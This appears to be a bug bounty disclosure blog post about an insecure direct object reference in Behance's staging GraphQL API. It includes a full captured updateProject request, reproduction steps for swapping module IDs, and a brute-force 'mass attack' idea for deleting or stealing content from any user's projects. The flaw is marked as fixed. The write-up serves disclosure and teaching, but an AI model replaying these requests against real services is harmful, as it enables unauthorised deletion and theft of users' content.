Company Information :
Adobe Inc., originally called Adobe Systems Incorporated, is an American multinational computer software company incorporated in Delaware and headquartered in San Jose, California.
Bug Category :
Insecure direct object reference(IDOR ) :
Insecure direct object reference is a type of access control vulnerability in digital security. This can occur when a web application or application programming interface uses an identifier for direct access to an object in an internal database but does not check for access control or authentication.
Target Information :
Adobe Behance
https://net.s2stagehance.com
Technical Details of the Bug :
On Behance https://net.s2stagehance.com user can add project . In the project you can add different type of content modules like Text , Images , Embeds , NFTs etc. In the project update request all these modules are added and treated separately with the different module name. Each module is assigned with Numeric ID. There is a IDOR in All the Module IDs which leads to Delete the Module from the user account and add it into the attacker account.
This works on a all private , unpublished and public projects.
In the Mass attack section below i have mentioned i it will be possible to delete all the contents as mentioned in the title.
Total Vulnerable Modules :
1.Text Module
2.Photo Grid module
3.Embed Module
4.Prototype module
5.NFT module
6.3D module
7.Lightroom -- not sure
8.Image/Video/Audio -- not sure
Vulnerable HTTP Request :
There are total of 9 modules . I have added 3-4 modules in the below request to reproduce the issue. I am reporting all the issues in this one request.
POST /v3/graphql HTTP/2
2Host: net.s2stagehance.com
3
4User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/115.0
5Accept: */*
6Accept-Language: en-US,en;q=0.5
7Accept-Encoding: gzip, deflate
8X-Newrelic-Id: VgUFVldbGwsFU1BSAAIPVw==
9Content-Type: application/json
10Authorization: Bearer
11X-Requested-With: XMLHttpRequest
12Content-Length: 11011
13Origin: https://net.s2stagehance.com
14Referer: https://net.s2stagehance.com/portfolio/editor?project_id=24568415
15Sec-Fetch-Dest: empty
16Sec-Fetch-Mode: cors
17Sec-Fetch-Site: same-origin
18Te: trailers
19
20
21{
22 "query": "\n mutation updateProject($projectId: Int!, $params: UpdateProjectParams!) {\n updateProject(projectId: $projectId, params: $params) {\n ... on Project {\n ...projectEditorFields\n }\n }\n }\n \n fragment projectEditorFields on Project {\n id\n agencies {\n ...projectTagFields\n }\n allModules {\n __typename\n ... on AudioModule {\n ...audioModuleFields\n }\n ... on EmbedModule {\n ...embedModuleFields\n }\n ... on ImageModule {\n ...imageModuleFields\n }\n ... on MediaCollectionModule {\n ...mediaCollectionModuleFields\n }\n ... on TextModule {\n ...textModuleFields\n }\n ... on VideoModule {\n ...videoModuleFields\n }\n }\n brands {\n ...projectTagFields\n }\n colors {\n r\n g\n b\n }\n covers {\n ...projectCoverFields\n }\n coverData {\n coverScale\n coverX\n coverY\n }\n createdOn\n creatorId\n credits {\n displayName\n images {\n size_50 {\n url\n }\n }\n id\n }\n description\n editorVersion\n features {\n featuredOn\n name\n ribbon {\n image\n image2x\n }\n url\n }\n fields {\n id\n label\n slug\n url\n }\n creator {\n isFollowing\n }\n hasMatureContent\n isCommentingAllowed\n isFounder\n isMatureReviewSubmitted\n isPrivate\n linkedAssetsCount\n linkedAssets {\n ...sourceLinkFields\n }\n sourceFiles {\n ...sourceFileFields\n }\n license {\n description\n label\n license\n id\n }\n matureAccess\n name\n networks {\n id\n icon\n key\n name\n visible\n }\n owners {\n ...OwnerFields\n images {\n size_50 {\n url\n }\n }\n }\n pendingCoowners {\n displayName\n id\n }\n publishedOn\n premium\n schools {\n ...projectTagFields\n }\n slug\n stats {\n appreciations {\n all\n }\n comments {\n all\n }\n views {\n all\n }\n }\n styles {\n ...projectStylesFields\n }\n tags {\n ...projectTagFields\n }\n teams {\n ...projectTeamFields\n }\n tools {\n ...projectToolFields\n }\n url\n }\n \n fragment OwnerFields on User {\n displayName\n hasPremiumAccess\n id\n isFollowing\n isProfileOwner\n location\n locationUrl\n url\n username\n availabilityInfo {\n availabilityTimeline\n isAvailableFullTime\n isAvailableFreelance\n }\n }\n\n\n \n fragment audioModuleFields on AudioModule {\n alignment\n captionAlignment\n caption\n embed\n fullBleed\n id\n isDoneProcessing\n projectId\n status\n }\n\n \n fragment embedModuleFields on EmbedModule {\n alignment\n caption\n captionAlignment\n captionPlain\n fluidEmbed\n embedModuleFullBleed: fullBleed\n height\n id\n originalEmbed\n originalHeight\n originalWidth\n width\n widthUnit\n }\n\n \n fragment imageModuleFields on ImageModule {\n alignment\n altText\n altTextForEditor\n caiData\n hasCaiData\n caption\n captionAlignment\n captionPlain\n flexHeight\n flexWidth\n fullBleed\n height\n id\n isCaiVersion1\n projectId\n src\n tags\n width\n imageSizes {\n ...imageSizesFields\n }\n nftData {\n ...NftDataFields\n }\n }\n\n \n fragment textModuleFields on TextModule {\n id\n fullBleed\n alignment\n captionAlignment\n text\n textPlain\n projectId\n }\n\n \n fragment videoModuleFields on VideoModule {\n alignment\n captionAlignment\n caption\n embed\n fullBleed\n height\n id\n isDoneProcessing\n nftData {\n ...NftDataFields\n }\n src\n videoData {\n renditions {\n url\n }\n status\n }\n width\n }\n\n \n fragment imageSizesFields on ProjectModuleImageSizes {\n size_disp {\n height\n url\n width\n }\n size_fs {\n height\n url\n width\n }\n size_max_1200 {\n height\n url\n width\n }\n size_original {\n height\n url\n width\n }\n size_1400 {\n height\n url\n width\n }\n size_1400_opt_1 {\n height\n url\n width\n }\n size_2800_opt_1 {\n height\n url\n width\n }\n size_max_3840 {\n height\n url\n width\n }\n }\n\n \n fragment mediaCollectionModuleFields on MediaCollectionModule {\n alignment\n captionAlignment\n captionPlain\n collectionType\n components {\n filename\n flexHeight\n flexWidth\n height\n id\n imageSizes {\n size_disp {\n height\n url\n width\n }\n size_fs {\n height\n url\n width\n }\n size_max_1200 {\n height\n url\n width\n }\n size_1400_opt_1 {\n height\n url\n width\n }\n size_2800_opt_1 {\n height\n url\n width\n }\n }\n position\n width\n }\n id\n fullBleed\n sortType\n }\n\n \n fragment NftDataFields on NFT {\n chain\n contractAddress\n contractAddressUrl\n tokenId\n creatorName\n creatorUrl\n creatorAddress\n description\n imageUrl\n name\n videoUrl\n }\n\n \n fragment projectCoverFields on ProjectCoverImageSizes {\n size_original {\n url\n }\n size_115 {\n url\n }\n size_202 {\n url\n }\n size_230 {\n url\n }\n size_404 {\n url\n }\n size_808 {\n url\n }\n size_max_808 {\n url\n }\n }\n\n \n fragment projectStylesFields on ProjectStyle {\n background {\n color\n }\n divider {\n borderStyle\n borderWidth\n display\n fontSize\n height\n lineHeight\n margin\n position\n top\n }\n spacing {\n moduleBottomMargin\n projectTopMargin\n }\n }\n\n \n fragment projectTeamFields on TeamItem {\n displayName\n id\n imageSizes {\n size_115 {\n height\n url\n width\n }\n size_138 {\n height\n url\n width\n }\n size_276 {\n height\n url\n width\n }\n }\n locationDisplay\n slug\n url\n }\n\n \n fragment projectToolFields on Tool {\n approved\n backgroundColor\n backgroundImage {\n size_original {\n height\n url\n width\n }\n size_max_808 {\n height\n url\n width\n }\n size_404 {\n height\n url\n width\n }\n }\n category\n categoryLabel\n categoryId\n id\n synonym {\n authenticated\n downloadUrl\n galleryUrl\n iconUrl\n iconUrl2x\n name\n synonymId\n tagId\n title\n type\n url\n }\n title\n url\n }\n\n \n fragment projectTagFields on Tag {\n category\n id\n title\n }\n\n \n fragment sourceFileFields on SourceFile {\n __typename\n sourceFileId\n projectId\n userId\n title\n assetId\n renditionUrl\n mimeType\n size\n category\n licenseType\n moduleIds\n unitAmount\n currency\n tier\n hidden\n extension\n hasUserPurchased\n }\n\n \n fragment sourceLinkFields on LinkedAsset {\n __typename\n moduleIds\n name\n premium\n url\n category\n licenseType\n }\n\n ",
23 "variables": {
24 "projectId": 24568415,
25 "params": {
26 "agencies": "",
27 "assets": [],
28 "backgroundColor": "FFFFFF",
29 "brands": "",
30 "captionStyles": {
31 "color": "a4a4a4",
32 "fontFamily": "helvetica,arial,sans-serif",
33 "fontSize": 14,
34 "fontStyle": "italic",
35 "fontWeight": "normal",
36 "lineHeight": 1.4,
37 "textAlign": "left",
38 "textDecoration": "none",
39 "textTransform": "none"
40 },
41 "canvasTopMargin": 80,
42 "commentsStatus": "ALLOWED",
43 "coowners": "24128087",
44 "creativeFields": "graphic design",
45 "credits": "",
46 "description": "",
47 "license": "NO_USE",
48 "linkStyles": {
49 "color": "1769FF",
50 "fontFamily": "helvetica,arial,sans-serif",
51 "fontSize": 20,
52 "fontStyle": "normal",
53 "fontWeight": "normal",
54 "lineHeight": 1.4,
55 "textAlign": "left",
56 "textDecoration": "none",
57 "textTransform": "none"
58 },
59 "matureContentStatus": "OFF",
60 "modules": [
61
62 {
63 "embedModule": {
64 "id": 22505343,
65 "alignment": "center",
66 "captionAlignment": "left",
67 "fullBleed": "YES",
68 "caption": "",
69 "originalWidth": 950,
70 "originalHeight": 534,
71 "originalEmbed": "<iframe width=\"950\" height=\"534\" src=\"https://www.youtube.com/embed/kFObIaN6lRY\" frameborder=\"0\" allow=\" autoplay; picture-in-picture\" allowfullscreen></iframe>",
72 "widthUnit": "px",
73 "html": "<div class=\"embed-dimensions\" style=\"max-width: 950px; max-height: 534px; margin: 0 auto;\">\n <div class=\"embed-aspect-ratio\" style=\"padding-bottom: 56.21%; position: relative; height: 0;\">\n <iframe src=\"https://www.youtube.com/embed/kFObIaN6lRY\" frameborder=\"0\" allow=\" autoplay; picture-in-picture\" allowfullscreen style=\"position:absolute; top:0; left:0; width:100%; height:100%;\" class=\"embed-content\"></iframe>\n </div>\n </div>"
74 }
75 },
76 {
77 "mediaCollectionModule": {
78 "id": 22505349,
79 "alignment": "center",
80 "captionAlignment": "left",
81 "fullBleed": "YES",
82 "components": [
83 {
84 "filename": "8f57f924568415.64cdf27ea9cda.jpg",
85 "srcUrl": null,
86 "id": 3864443
87 }
88 ],
89 "collectionType": "GRID",
90 "sortType": "AZ"
91 }
92 },
93 {
94 "textModule": {
95 "id": 22505357,
96 "alignment": "center",
97 "html": "<div>Victim Test project<br></div>"
98 }
99 }
100 ],
101 "moduleBottomMargin": 60,
102 "paragraphStyles": {
103 "color": "696969",
104 "fontFamily": "helvetica,arial,sans-serif",
105 "fontSize": 20,
106 "fontStyle": "normal",
107 "fontWeight": "normal",
108 "lineHeight": 1.4,
109 "textAlign": "left",
110 "textDecoration": "none",
111 "textTransform": "none"
112 },
113 "privacy": "PUBLIC",
114 "publishStatus": "PUBLISHED",
115 "schools": "",
116 "subTitleStyles": {
117 "color": "a4a4a4",
118 "fontFamily": "helvetica,arial,sans-serif",
119 "fontSize": 20,
120 "fontStyle": "normal",
121 "fontWeight": "normal",
122 "lineHeight": 1.4,
123 "textAlign": "left",
124 "textDecoration": "none",
125 "textTransform": "none"
126 },
127 "tags": "",
128 "teams": "",
129 "titleStyles": {
130 "color": "191919",
131 "fontFamily": "helvetica,arial,sans-serif",
132 "fontSize": 36,
133 "fontStyle": "normal",
134 "fontWeight": "bold",
135 "lineHeight": 1.1,
136 "textAlign": "left",
137 "textDecoration": "none",
138 "textTransform": "none"
139 },
140 "tools": "",
141 "visibleNetworkIds": "0"
142 }
143 }
144}
Vulnerable Parameters :
modules -- > textModule -- > id parameter
modules -- > embedModule -- > id parameter
modules -- > mediaCollectionModule -- > id parameter
These are few examples of the the modules .
Steps To Reproduce:
You will need 2 accounts to reproduce the issue. I will be taking an example of text content and embed content as example.
1.Login from victim account and create a project.
2.Add a Text content and below embed content in the project.
Sample Embed content : (copied from youtube)
3.Now update the project.(First request will take URLs and generate the module IDs)
4.Once updated refresh the edit page and update it again and capture the request.
5.The request would look like above mentioned request. Capture the textModule and embedModule ID parameter values.
6.Now Login from Attacker account and follow the same steps as above. (Only change the text content and Embed content for testing )
7.Now refresh the edit page and update it again.
8.Change the textModule and embedModule value to victim account captured values from 5th step.
9.Send the request to server.
10.You will notice that both the modules will be deleted from victim account and will be added into attacker account.
11.This ways Attacker is able to access the content (helpful to discover private project content ) and Delete the modules from any user's project.
Mass Attack :
Since all the module IDs are numeric and incremental values . Ex: 22505343 , 22505349 , 22505357 etc. It's possible to mass brute force and delete most of the content from all the projects and add/access into your project.
Impact :
Steal and Delete all Contents/Data (Including NFTs) from all project on Behance https://net.s2stagehance.com
Timeline :
August 05th 2023: Report send to Adobe product Security Team through Hackerone.
August 08th 2023: Report Accepted and Triaged.
August 17th 2023: Complete issue was resolved and confirmed.
August 17th 2023: 1660$ Bounty Rewarded
Comments
Post a Comment